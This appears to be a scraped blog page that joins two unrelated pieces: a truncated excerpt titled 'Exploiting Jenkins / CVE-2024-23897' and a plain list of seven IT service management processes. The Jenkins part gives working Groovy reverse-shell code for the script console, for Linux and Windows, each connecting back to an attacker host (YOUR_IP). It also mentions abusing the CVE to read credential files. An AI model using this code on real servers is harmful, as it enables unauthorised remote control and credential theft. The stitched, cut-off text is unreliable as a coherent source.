Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Information Technology Service Management (ITSM) Processes.
1) Service Request Management
Focuses on requests and responses for the IT help-desk items. The processes should be established and uniform. To reduce the workload on agents, organization may consider implementing self service options or chat-bots.
2) Service Catalogs
Generally Service Catalogs is a central location/webpage with all the details for contacting the help-desk. It may also contain the self service options and solutions for common problems/issues.
3) Knowledge,Policy and Procedures.
This is the knowledge base which controls the collection, maintenance and distribution of information sharing throughout the organization. It shall include the policies, standards, guidelines and the operating procedures for each process or tasks.
4) Incident Management.
Defines process on how to handle a situation when an incident happens and how to fix the situation in an accelerated and organized manner. The objective is to reduce the impact to the core IT security principles Confidentiality, integrity and Availability.
5) Problem management.
There might be cases where an issue/incident cannot be solved with the existing procedures or incident management. Such cases should be solved and document well, so that when the same situation arises, the staffs can utilize the process.
6) Asset Management.
Tracking and maintaining the inventory. This includes the entire asset lifecycle starts from procurement and until the disposal.
7) Change Management
Any modification to an asset is a change. This core process defines to keep track of the changes made to the assets. Change includes upgrade, configuration change, asset modification etc.